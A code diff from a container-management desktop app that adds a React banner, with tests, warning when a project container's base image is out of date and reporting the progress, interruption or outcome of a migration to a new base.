import { describe, it, expect, vi } from "vitest";
|
||||
import { fireEvent, render, screen } from "@testing-library/react";
|
||||
import ContainerMigrationBanner from "./ContainerMigrationBanner";
|
||||
import type { ContainerMigration } from "../../../hooks/useContainerMigration";
|
||||
import type {
|
||||
ContainerStaleness,
|
||||
MigrationReport,
|
||||
} from "../../../lib/types";
|
||||
|
||||
const FRESH: ContainerStaleness = {
|
||||
stale: false,
|
||||
known: true,
|
||||
base_image_id: "sha256:aaa",
|
||||
current_base_image_id: "sha256:aaa",
|
||||
snapshot_created_at: "2026-03-01T09:00:00Z",
|
||||
missing_paths: [],
|
||||
missing_features: [],
|
||||
apt_delta: [],
|
||||
npm_global_delta: [],
|
||||
verbatim_paths: [],
|
||||
unpreserved_data: [],
|
||||
outdated_package_count: 0,
|
||||
probe_error: null,
|
||||
};
|
||||
|
||||
const STALE: ContainerStaleness = {
|
||||
...FRESH,
|
||||
stale: true,
|
||||
current_base_image_id: "sha256:bbb",
|
||||
missing_paths: ["/usr/bin/socat", "/usr/bin/bwrap"],
|
||||
missing_features: [
|
||||
"Host-browser opening",
|
||||
"Auth bridge tunnel (socat)",
|
||||
"Mission Control",
|
||||
],
|
||||
apt_delta: ["socat", "bubblewrap"],
|
||||
outdated_package_count: 61,
|
||||
};
|
||||
|
||||
function migration(overrides: Partial<ContainerMigration> = {}): ContainerMigration {
|
||||
return {
|
||||
staleness: null,
|
||||
probing: false,
|
||||
probeSettled: true,
|
||||
running: false,
|
||||
recovered: false,
|
||||
interrupted: null,
|
||||
report: null,
|
||||
log: [],
|
||||
phaseMessage: null,
|
||||
busy: false,
|
||||
start: vi.fn(async () => {}),
|
||||
resume: vi.fn(async () => {}),
|
||||
keep: vi.fn(async () => {}),
|
||||
rollback: vi.fn(async () => {}),
|
||||
dismiss: vi.fn(async () => {}),
|
||||
refresh: vi.fn(async () => {}),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderBanner(m: ContainerMigration, canMigrate = true) {
|
||||
const onOpen = vi.fn();
|
||||
const { container } = render(
|
||||
<ContainerMigrationBanner migration={m} canMigrate={canMigrate} onOpen={onOpen} />,
|
||||
);
|
||||
return { onOpen, container };
|
||||
}
|
||||
|
||||
describe("ContainerMigrationBanner", () => {
|
||||
it("renders nothing when the container is on the current base", () => {
|
||||
const { container } = renderBanner(migration({ staleness: FRESH }));
|
||||
expect(container).toBeEmptyDOMElement();
|
||||
});
|
||||
|
||||
it("renders nothing before the probe has returned", () => {
|
||||
const { container } = renderBanner(migration({ staleness: null }));
|
||||
expect(container).toBeEmptyDOMElement();
|
||||
});
|
||||
|
||||
it("leads with the missing features rather than image digests", () => {
|
||||
renderBanner(migration({ staleness: STALE }));
|
||||
expect(screen.getByText(/Container base is out of date/i)).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(
|
||||
/Host-browser opening, Auth bridge tunnel \(socat\) and Mission Control/,
|
||||
),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/61 packages differ from the versions on the current base/i),
|
||||
).toBeInTheDocument();
|
||||
// Digests are evidence, not the message.
|
||||
expect(screen.queryByText(/sha256/)).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("does not claim the packages are behind, only that they differ", () => {
|
||||
renderBanner(migration({ staleness: STALE }));
|
||||
// `outdated_package_count` is a drift measure; the backend explicitly does
|
||||
// not promise every one of them is newer.
|
||||
expect(screen.queryByText(/behind on security updates/i)).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("says the container was probed when there is no base-image label", () => {
|
||||
// `stale` is always false when `known` is false — an unknown lineage is not
|
||||
// a claim of staleness — but the probe's own findings still have to show.
|
||||
renderBanner(
|
||||
migration({ staleness: { ...STALE, known: false, stale: false } }),
|
||||
);
|
||||
expect(screen.getByText(/probed directly/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/The probe found these missing/i)).toBeInTheDocument();
|
||||
// No version comparison happened, so none is implied.
|
||||
expect(screen.queryByText(/Running on a saved image/i)).not.toBeInTheDocument();
|
||||
expect(screen.queryByText(/out of date/i)).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("stays quiet for an unlabelled container the probe found nothing wrong with", () => {
|
||||
const { container } = renderBanner(
|
||||
migration({
|
||||
staleness: {
|
||||
...FRESH,
|
||||
known: false,
|
||||
stale: false,
|
||||
outdated_package_count: 3,
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(container).toBeEmptyDOMElement();
|
||||
});
|
||||
|
||||
it("disables the action and explains why while the container is running", () => {
|
||||
renderBanner(migration({ staleness: STALE }), false);
|
||||
expect(
|
||||
screen.getByRole("button", { name: /Update container base/i }),
|
||||
).toBeDisabled();
|
||||
expect(screen.getByText(/Stop the container to update its base/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("keeps reporting an in-flight run after the modal is closed", () => {
|
||||
renderBanner(
|
||||
migration({
|
||||
staleness: STALE,
|
||||
running: true,
|
||||
phaseMessage: "Reinstalling socat…",
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText(/Updating container base/i)).toBeInTheDocument();
|
||||
expect(screen.getByText("Reinstalling socat…")).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: /Show progress/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("surfaces a run recovered from a crash", () => {
|
||||
renderBanner(migration({ staleness: STALE, running: true, recovered: true }));
|
||||
expect(
|
||||
screen.getByText(/A container base update was already running/i),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/still in progress when the app last closed/i),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("does not let an interrupted migration hide behind a plain staleness notice", () => {
|
||||
const m = migration({
|
||||
staleness: STALE,
|
||||
interrupted: {
|
||||
phase: "interrupted",
|
||||
from_image_id: "sha256:aaa",
|
||||
to_base_id: "sha256:bbb",
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
report: null,
|
||||
rollback_image: "triple-c-snapshot-p1:pre-migration-1754733600",
|
||||
staging_path: null,
|
||||
options: { replay_packages: true, copy_paths: false, keep_rollback: true },
|
||||
plan: null,
|
||||
},
|
||||
});
|
||||
renderBanner(m);
|
||||
expect(
|
||||
screen.getByText(/The container base update did not finish/i),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText(/part-way onto the new base/i)).toBeInTheDocument();
|
||||
// The plain "Update container base…" call to action must not be what is
|
||||
// offered here — the container is mid-swap, so it is resume or roll back.
|
||||
expect(
|
||||
screen.queryByRole("button", { name: /Update container base/i }),
|
||||
).not.toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Resume update" }));
|
||||
expect(m.resume).toHaveBeenCalledTimes(1);
|
||||
expect(screen.getByRole("button", { name: "Roll back" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("offers no rollback for an interrupted run that kept no rollback image", () => {
|
||||
renderBanner(
|
||||
migration({
|
||||
staleness: STALE,
|
||||
interrupted: {
|
||||
phase: "interrupted",
|
||||
from_image_id: "sha256:aaa",
|
||||
to_base_id: "sha256:bbb",
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
report: null,
|
||||
rollback_image: null,
|
||||
staging_path: null,
|
||||
options: { replay_packages: true, copy_paths: false, keep_rollback: false },
|
||||
plan: null,
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(screen.queryByRole("button", { name: "Roll back" })).not.toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Resume update" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("distinguishes an unsettled probe from a running container", () => {
|
||||
// "Stop the container to update its base" on a container that is already
|
||||
// stopped — because the probe has not landed — reads as a bug.
|
||||
renderBanner(
|
||||
migration({ staleness: STALE, probing: true, probeSettled: false }),
|
||||
false,
|
||||
);
|
||||
expect(
|
||||
screen.getByText(/Checking what this container has/i),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.queryByText(/Stop the container to update its base/i),
|
||||
).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("names the /var data that updating would destroy", () => {
|
||||
renderBanner(
|
||||
migration({
|
||||
staleness: {
|
||||
...STALE,
|
||||
unpreserved_data: [
|
||||
{ path: "/var/lib/postgresql", bytes: 41_000_000, file_count: 912 },
|
||||
],
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText("/var/lib/postgresql")).toBeInTheDocument();
|
||||
expect(screen.getByText(/back this up before updating/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
describe("the report", () => {
|
||||
const CLEAN: MigrationReport = {
|
||||
phase: "succeeded",
|
||||
packages_requested: ["socat", "bubblewrap"],
|
||||
packages_installed: [
|
||||
"socat",
|
||||
"bubblewrap",
|
||||
"ca-certificates",
|
||||
"openssl",
|
||||
"curl",
|
||||
"jq",
|
||||
"ripgrep",
|
||||
"unzip",
|
||||
],
|
||||
packages_failed: [],
|
||||
paths_copied: [],
|
||||
features_restored: [
|
||||
"Host-browser opening",
|
||||
"Auth bridge tunnel (socat)",
|
||||
"Sandbox mode (bubblewrap)",
|
||||
"Mission Control",
|
||||
],
|
||||
rollback_available: true,
|
||||
message: "",
|
||||
};
|
||||
|
||||
const PARTIAL: MigrationReport = {
|
||||
phase: "partial",
|
||||
packages_requested: ["socat", "bubblewrap", "libfoo-dev"],
|
||||
packages_installed: ["socat"],
|
||||
packages_failed: [
|
||||
{ name: "bubblewrap", reason: "held back by apt-mark" },
|
||||
{ name: "libfoo-dev", reason: "no installation candidate in noble" },
|
||||
],
|
||||
paths_copied: [],
|
||||
features_restored: ["Auth bridge tunnel (socat)"],
|
||||
rollback_available: true,
|
||||
message: "",
|
||||
};
|
||||
|
||||
it("reports a clean run with counts and both choices", () => {
|
||||
renderBanner(migration({ staleness: FRESH, report: CLEAN }));
|
||||
expect(screen.getByText(/8 packages reinstalled/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/4 features restored/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Keep" })).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Roll back" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("names every failed package and why, and does not read as a success", () => {
|
||||
renderBanner(migration({ staleness: STALE, report: PARTIAL }));
|
||||
expect(screen.getByText(/Updated, but not completely/i)).toBeInTheDocument();
|
||||
expect(screen.getByText("bubblewrap")).toBeInTheDocument();
|
||||
expect(screen.getByText(/held back by apt-mark/)).toBeInTheDocument();
|
||||
expect(screen.getByText("libfoo-dev")).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/no installation candidate in noble/),
|
||||
).toBeInTheDocument();
|
||||
// And the exact line that finishes the job by hand.
|
||||
expect(
|
||||
screen.getByText("sudo apt-get install -y bubblewrap libfoo-dev"),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByRole("button", { name: /Copy apt-get line/i }),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("says a failed run has already been restored, and offers no rollback", () => {
|
||||
renderBanner(
|
||||
migration({
|
||||
staleness: STALE,
|
||||
report: {
|
||||
phase: "failed",
|
||||
packages_requested: [],
|
||||
packages_installed: [],
|
||||
packages_failed: [],
|
||||
paths_copied: [],
|
||||
features_restored: [],
|
||||
rollback_available: false,
|
||||
message:
|
||||
"Update failed at replay. Your container has been restored to its previous state.",
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText(/Update failed at replay/i)).toBeInTheDocument();
|
||||
expect(screen.queryByRole("button", { name: "Roll back" })).not.toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Dismiss" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("never offers Keep over a container that is still mid-swap", () => {
|
||||
// The failing-commit path returns a report *and* leaves the record
|
||||
// interrupted. Keep would untag the rollback image and delete the record
|
||||
// while `triple-c-snapshot-<id>:latest` still points at the old lineage —
|
||||
// and the backend's own message on that record says to resume.
|
||||
const m = migration({
|
||||
staleness: STALE,
|
||||
interrupted: {
|
||||
phase: "interrupted",
|
||||
from_image_id: "sha256:aaa",
|
||||
to_base_id: "sha256:bbb",
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
report: null,
|
||||
rollback_image: "triple-c-snapshot-p1:pre-migration-20260809-100000",
|
||||
staging_path: null,
|
||||
options: { replay_packages: true, copy_paths: true, keep_rollback: true },
|
||||
plan: null,
|
||||
},
|
||||
report: {
|
||||
...CLEAN,
|
||||
phase: "failed",
|
||||
message: "saving it failed. Resume it, or roll back.",
|
||||
},
|
||||
});
|
||||
renderBanner(m);
|
||||
expect(screen.queryByRole("button", { name: "Keep" })).not.toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByRole("button", { name: "Resume update" }),
|
||||
).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Roll back" }));
|
||||
expect(m.rollback).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("does not describe rollback as a time machine", () => {
|
||||
renderBanner(migration({ staleness: FRESH, report: CLEAN }));
|
||||
expect(
|
||||
screen.getByText(/Rollback restores the system layer only/i),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText(/Volumes are never touched/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,239 @@
|
||||
import type { ContainerMigration } from "../../../hooks/useContainerMigration";
|
||||
import Button from "../../ui/Button";
|
||||
import StatusIndicator from "../../ui/StatusIndicator";
|
||||
import MigrationReportCard from "../MigrationReportCard";
|
||||
import MigrationInterruptedCard from "../MigrationInterruptedCard";
|
||||
import { formatSnapshotDate, joinFeatures } from "../migrationCopy";
|
||||
|
||||
interface Props {
|
||||
migration: ContainerMigration;
|
||||
/** Migration mirrors Reset's gate: the container has to be stopped. */
|
||||
canMigrate: boolean;
|
||||
onOpen: () => void;
|
||||
}
|
||||
|
||||
const SHELL =
|
||||
"border rounded-[var(--radius-panel)] px-3.5 py-3 space-y-2";
|
||||
|
||||
/**
|
||||
* The Overview answer to "why is this container behaving oddly?".
|
||||
*
|
||||
* It leads with the *features* that are missing, not image digests: a user does
|
||||
* not know or care that `sha256:abc…` differs from `sha256:def…`, they care
|
||||
* that host-browser opening and the auth bridge do not work. Digests are the
|
||||
* evidence, not the message.
|
||||
*
|
||||
* It also has to survive the run: an in-flight migration, an interrupted one,
|
||||
* and the report are all shown here, because the modal is dismissable and the
|
||||
* outcome must not vanish with it.
|
||||
*/
|
||||
export default function ContainerMigrationBanner({
|
||||
migration,
|
||||
canMigrate,
|
||||
onOpen,
|
||||
}: Props) {
|
||||
const {
|
||||
staleness,
|
||||
probing,
|
||||
probeSettled,
|
||||
running,
|
||||
recovered,
|
||||
interrupted,
|
||||
report,
|
||||
phaseMessage,
|
||||
busy,
|
||||
} = migration;
|
||||
|
||||
// An unfinished migration outranks its own report. The report's action row
|
||||
// offers Keep, and Keep on a mid-swap container drops the rollback image
|
||||
// while `:latest` still points at the old lineage — the backend's message on
|
||||
// the very same record says to resume. Resume is the only honest primary
|
||||
// action here, so the report card is not rendered at all.
|
||||
if (interrupted) {
|
||||
return (
|
||||
<section
|
||||
className={`${SHELL} border-[var(--error)]/40 bg-[var(--error-muted)]`}
|
||||
aria-label="Container base update was interrupted"
|
||||
>
|
||||
<MigrationInterruptedCard
|
||||
record={interrupted}
|
||||
busy={busy || running}
|
||||
onResume={() => void migration.resume()}
|
||||
onRollback={() => void migration.rollback()}
|
||||
/>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
// The report outranks staleness: after a run, the outcome is the news.
|
||||
if (report) {
|
||||
return (
|
||||
<section
|
||||
className={`${SHELL} ${
|
||||
report.phase === "partial" || report.phase === "failed"
|
||||
? "border-[var(--error)]/40 bg-[var(--error-muted)]"
|
||||
: "border-[var(--border-color)] bg-[var(--bg-secondary)]"
|
||||
}`}
|
||||
aria-label="Container base update result"
|
||||
>
|
||||
<MigrationReportCard
|
||||
report={report}
|
||||
busy={busy}
|
||||
onKeep={() => void migration.keep()}
|
||||
onRollback={() => void migration.rollback()}
|
||||
onDismiss={() => void migration.dismiss()}
|
||||
/>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
if (running) {
|
||||
return (
|
||||
<section
|
||||
className={`${SHELL} border-[var(--warning)]/40 bg-[var(--warning-muted)]`}
|
||||
aria-label="Container base update in progress"
|
||||
>
|
||||
<div className="flex items-start justify-between gap-3">
|
||||
<div className="min-w-0">
|
||||
<StatusIndicator
|
||||
tone="busy"
|
||||
label={
|
||||
recovered
|
||||
? "A container base update was already running"
|
||||
: "Updating container base"
|
||||
}
|
||||
className="text-[13px] font-semibold"
|
||||
/>
|
||||
<p className="mt-1 text-xs text-[var(--text-secondary)] truncate">
|
||||
{phaseMessage ?? "Starting…"}
|
||||
</p>
|
||||
{recovered && (
|
||||
<p className="mt-1 text-xs text-[var(--text-secondary)]">
|
||||
It was still in progress when the app last closed. Picking it back up.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
<Button size="md" onClick={onOpen}>
|
||||
Show progress
|
||||
</Button>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
if (!staleness) return null;
|
||||
|
||||
// `stale` is deliberately false whenever `known` is false — an unestablished
|
||||
// lineage is not a claim of staleness. But a container with no base-image
|
||||
// label is exactly the old container most likely to be missing things, and
|
||||
// the probe says so directly. So the probe's own findings are grounds to
|
||||
// speak up even though the version comparison never happened.
|
||||
const probeFoundGaps =
|
||||
!staleness.known &&
|
||||
(staleness.missing_features.length > 0 || staleness.missing_paths.length > 0);
|
||||
if (!staleness.stale && !probeFoundGaps) return null;
|
||||
|
||||
const snapshot = formatSnapshotDate(staleness.snapshot_created_at);
|
||||
const features = joinFeatures(staleness.missing_features);
|
||||
|
||||
return (
|
||||
<section
|
||||
className={`${SHELL} border-[var(--warning)]/40 bg-[var(--warning-muted)]`}
|
||||
aria-label="Container base is out of date"
|
||||
>
|
||||
<div className="flex items-start justify-between gap-3">
|
||||
<div className="min-w-0 space-y-1">
|
||||
<StatusIndicator
|
||||
tone="error"
|
||||
label={
|
||||
staleness.known
|
||||
? "Container base is out of date"
|
||||
: "Container is missing things the current base ships"
|
||||
}
|
||||
className="text-[13px] font-semibold"
|
||||
/>
|
||||
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{staleness.known
|
||||
? snapshot
|
||||
? `Running on a saved image from ${snapshot}.`
|
||||
: "Running on a saved image older than the current base."
|
||||
: "This container predates base-image tracking, so it was probed directly."}
|
||||
</p>
|
||||
|
||||
{staleness.missing_features.length > 0 && (
|
||||
<p className="text-xs leading-snug text-[var(--text-primary)]">
|
||||
{staleness.known ? "Missing: " : "The probe found these missing: "}
|
||||
<span className="text-[var(--text-secondary)]">{features}.</span>
|
||||
</p>
|
||||
)}
|
||||
|
||||
{staleness.missing_features.length === 0 &&
|
||||
staleness.missing_paths.length > 0 && (
|
||||
<p className="text-xs leading-snug text-[var(--text-primary)]">
|
||||
{staleness.known ? "Missing: " : "The probe found these missing: "}
|
||||
<span className="font-mono text-[var(--text-secondary)]">
|
||||
{staleness.missing_paths.join(", ")}
|
||||
</span>
|
||||
</p>
|
||||
)}
|
||||
|
||||
{/* Deliberately "differ" rather than "behind": the count is a drift
|
||||
measure, not a promise that every one of them is newer. */}
|
||||
{staleness.outdated_package_count > 0 && (
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{staleness.outdated_package_count} package
|
||||
{staleness.outdated_package_count === 1 ? "" : "s"} differ from the
|
||||
versions on the current base, where security updates land.
|
||||
</p>
|
||||
)}
|
||||
|
||||
{staleness.probe_error && (
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
Some checks did not complete: {staleness.probe_error}
|
||||
</p>
|
||||
)}
|
||||
|
||||
{/* An out-of-date container that also has data under /var is the one
|
||||
case where updating can cost something, so it is said here and not
|
||||
only behind the button. */}
|
||||
{staleness.unpreserved_data.length > 0 && (
|
||||
<p className="text-xs text-[var(--text-primary)] leading-snug">
|
||||
Not carried across:{" "}
|
||||
<span className="font-mono text-[var(--text-secondary)]">
|
||||
{staleness.unpreserved_data.map((d) => d.path).join(", ")}
|
||||
</span>
|
||||
<span className="text-[var(--text-secondary)]">
|
||||
{" "}
|
||||
— back this up before updating.
|
||||
</span>
|
||||
</p>
|
||||
)}
|
||||
|
||||
{!canMigrate && (
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{/* Distinguishing these matters: "stop the container" on a
|
||||
container that is already stopped, because the probe has not
|
||||
landed, reads as a bug. */}
|
||||
{!probeSettled
|
||||
? probing
|
||||
? "Checking what this container has that the current base does not…"
|
||||
: "That check did not complete, so what would be carried across is not known. Updating stays disabled until it does — try again once the container can be inspected."
|
||||
: "Stop the container to update its base."}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<Button
|
||||
size="md"
|
||||
variant="primary"
|
||||
disabled={!canMigrate}
|
||||
onClick={onOpen}
|
||||
className="flex-shrink-0"
|
||||
>
|
||||
Update container base…
|
||||
</Button>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -12,6 +12,8 @@ import PermissionModeControl, {
|
||||
permissionModePatch,
|
||||
} from "../PermissionModeControl";
|
||||
import CapabilityTiles from "./CapabilityTiles";
|
||||
import ContainerMigrationBanner from "./ContainerMigrationBanner";
|
||||
import type { ContainerMigration } from "../../../hooks/useContainerMigration";
|
||||
import SaveIndicator from "../../ui/SaveIndicator";
|
||||
import Button from "../../ui/Button";
|
||||
import { formatAge } from "./format";
|
||||
@@ -21,6 +23,7 @@ const BACKEND_LABEL: Record<Project["backend"], string> = {
|
||||
anthropic: "Anthropic",
|
||||
bedrock: "AWS Bedrock",
|
||||
ollama: "Ollama",
|
||||
llama_cpp: "llama.cpp",
|
||||
open_ai_compatible: "OpenAI Compatible",
|
||||
};
|
||||
|
||||
@@ -30,6 +33,11 @@ interface Props {
|
||||
saveState: SaveState;
|
||||
actions: ReturnType<typeof useProjectActions>;
|
||||
onOpenTab: (tab: ProjectHomeTabId) => void;
|
||||
/** Base-image staleness, run state and report. Owned by `ProjectHome`. */
|
||||
migration: ContainerMigration;
|
||||
/** Migration mirrors Reset's gate: only offered on a stopped container. */
|
||||
canMigrate: boolean;
|
||||
onOpenMigration: () => void;
|
||||
}
|
||||
|
||||
export default function OverviewTab({
|
||||
@@ -38,6 +46,9 @@ export default function OverviewTab({
|
||||
saveState,
|
||||
actions,
|
||||
onOpenTab,
|
||||
migration,
|
||||
canMigrate,
|
||||
onOpenMigration,
|
||||
}: Props) {
|
||||
const [sessions, setSessions] = useState<ClaudeSession[]>([]);
|
||||
const [tasks, setTasks] = useState<ScheduledTask[]>([]);
|
||||
@@ -119,6 +130,14 @@ export default function OverviewTab({
|
||||
</div>
|
||||
</section>
|
||||
|
||||
{/* A container missing socat and bwrap is a capability statement, so the
|
||||
out-of-date warning sits directly above the capability inventory. */}
|
||||
<ContainerMigrationBanner
|
||||
migration={migration}
|
||||
canMigrate={canMigrate}
|
||||
onOpen={onOpenMigration}
|
||||
/>
|
||||
|
||||
<CapabilityTiles
|
||||
project={project}
|
||||
onManageInTerminal={(command) => actions.openTerminalWithCommand(command)}
|
||||
|
||||
@@ -4,16 +4,19 @@ import { useAppState } from "../../../store/appState";
|
||||
import { useProjectActions } from "../../../hooks/useProjectActions";
|
||||
import { useProjects } from "../../../hooks/useProjects";
|
||||
import { useProjectSave } from "../../../hooks/useSaveState";
|
||||
import { useContainerMigration } from "../../../hooks/useContainerMigration";
|
||||
import { ProjectStatusIndicator } from "../../ui/StatusIndicator";
|
||||
import Button from "../../ui/Button";
|
||||
import OverflowMenu from "../../ui/OverflowMenu";
|
||||
import ConfirmRemoveModal from "../ConfirmRemoveModal";
|
||||
import ConfirmResetModal from "../ConfirmResetModal";
|
||||
import MigrateContainerModal from "../MigrateContainerModal";
|
||||
import OverviewTab from "./OverviewTab";
|
||||
import SessionsTab from "./SessionsTab";
|
||||
import AutomationTab from "./AutomationTab";
|
||||
import ConfigTab from "./ConfigTab";
|
||||
import FilesTab from "./FilesTab";
|
||||
import BrowserTab from "./BrowserTab";
|
||||
import { formatUptime } from "./format";
|
||||
|
||||
const TABS = [
|
||||
@@ -22,6 +25,7 @@ const TABS = [
|
||||
{ id: "automation", label: "Automation" },
|
||||
{ id: "config", label: "Config" },
|
||||
{ id: "files", label: "Files" },
|
||||
{ id: "browser", label: "Browser" },
|
||||
] as const;
|
||||
|
||||
export type ProjectHomeTabId = (typeof TABS)[number]["id"];
|
||||
@@ -41,6 +45,7 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
const [tab, setTab] = useState<ProjectHomeTabId>("overview");
|
||||
const [confirmRemove, setConfirmRemove] = useState(false);
|
||||
const [confirmReset, setConfirmReset] = useState(false);
|
||||
const [showMigration, setShowMigration] = useState(false);
|
||||
const { runningSince, progress } = useAppState(
|
||||
useShallow((s) => ({
|
||||
runningSince: s.runningSince[projectId],
|
||||
@@ -62,6 +67,11 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
const { save, saveState } = useProjectSave(
|
||||
project ?? ({ id: projectId, name: "" } as never),
|
||||
);
|
||||
// Owned here, not in the modal: the run outlives the dialog, and the Overview
|
||||
// banner has to keep showing progress and the report after it is dismissed.
|
||||
const migration = useContainerMigration(
|
||||
project ?? ({ id: projectId, name: "", container_id: null } as never),
|
||||
);
|
||||
|
||||
const uptime = useMemo(() => formatUptime(runningSince), [runningSince]);
|
||||
|
||||
@@ -79,6 +89,22 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
const isTransitioning =
|
||||
project.status === "starting" || project.status === "stopping";
|
||||
const isStopped = project.status === "stopped" || project.status === "error";
|
||||
// Rebuilding on a new base swaps the container out, so it gates exactly like
|
||||
// Reset does — with the extra condition that there is a container to migrate.
|
||||
// An interrupted migration is excluded too: its action is Resume, on the
|
||||
// Overview banner, not a fresh pre-flight.
|
||||
//
|
||||
// `probeSettled` is the fourth condition and it is not cosmetic. The probe
|
||||
// takes ~6 s, and until it lands every delta the pre-flight renders reads as
|
||||
// empty — so the dialog would tell the user there was nothing to copy while
|
||||
// the backend was told not to copy anything.
|
||||
const canMigrate =
|
||||
isStopped &&
|
||||
!actions.busy &&
|
||||
!migration.running &&
|
||||
!migration.interrupted &&
|
||||
migration.probeSettled &&
|
||||
!!project.container_id;
|
||||
|
||||
return (
|
||||
<div className={`flex flex-col h-full min-h-0 ${active ? "" : "hidden"}`}>
|
||||
@@ -145,6 +171,11 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
onSelect: actions.handleBackup,
|
||||
disabled: actions.backingUp || !project.container_id,
|
||||
},
|
||||
{
|
||||
label: "Update container base…",
|
||||
onSelect: () => setShowMigration(true),
|
||||
disabled: !canMigrate,
|
||||
},
|
||||
{
|
||||
label: "Reset container…",
|
||||
onSelect: () => setConfirmReset(true),
|
||||
@@ -198,6 +229,9 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
saveState={saveState}
|
||||
actions={actions}
|
||||
onOpenTab={setTab}
|
||||
migration={migration}
|
||||
canMigrate={canMigrate}
|
||||
onOpenMigration={() => setShowMigration(true)}
|
||||
/>
|
||||
)}
|
||||
{tab === "sessions" && <SessionsTab project={project} actions={actions} />}
|
||||
@@ -206,8 +240,21 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
<ConfigTab project={project} save={save} saveState={saveState} />
|
||||
)}
|
||||
{tab === "files" && <FilesTab project={project} />}
|
||||
{tab === "browser" && (
|
||||
<BrowserTab project={project} active={active && tab === "browser"} />
|
||||
)}
|
||||
</div>
|
||||
|
||||
{showMigration && (
|
||||
<MigrateContainerModal
|
||||
projectName={project.name}
|
||||
staleness={migration.staleness}
|
||||
migration={migration}
|
||||
// Closing is not cancelling — the run keeps going and the Overview
|
||||
// banner keeps reporting it.
|
||||
onClose={() => setShowMigration(false)}
|
||||
/>
|
||||
)}
|
||||
{confirmReset && (
|
||||
<ConfirmResetModal
|
||||
projectName={project.name}
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { render, screen, fireEvent } from "@testing-library/react";
|
||||
import ModelSection from "./ModelSection";
|
||||
import ModelSection, {
|
||||
DEFAULT_LLAMACPP_CONFIG,
|
||||
DEFAULT_OLLAMA_CONFIG,
|
||||
} from "./ModelSection";
|
||||
import { CUSTOM_ENDPOINT_BACKENDS } from "../../../../lib/types";
|
||||
import type { Backend, Project } from "../../../../lib/types";
|
||||
|
||||
const baseProject: Project = {
|
||||
@@ -12,6 +16,7 @@ const baseProject: Project = {
|
||||
backend: "anthropic",
|
||||
bedrock_config: null,
|
||||
ollama_config: null,
|
||||
llamacpp_config: null,
|
||||
openai_compatible_config: null,
|
||||
allow_docker_access: false,
|
||||
sandbox_mode_enabled: true,
|
||||
@@ -55,7 +60,7 @@ describe("ModelSection — shared auth token toggle", () => {
|
||||
expect(screen.getByRole("switch", { name: TOGGLE })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it.each<Backend>(["bedrock", "ollama", "open_ai_compatible"])(
|
||||
it.each<Backend>(["bedrock", "ollama", "llama_cpp", "open_ai_compatible"])(
|
||||
"is hidden for the %s backend",
|
||||
(backend) => {
|
||||
renderSection({ backend });
|
||||
@@ -93,3 +98,118 @@ describe("ModelSection — shared auth token toggle", () => {
|
||||
expect(screen.getByRole("switch", { name: TOGGLE })).toBeDisabled();
|
||||
});
|
||||
});
|
||||
|
||||
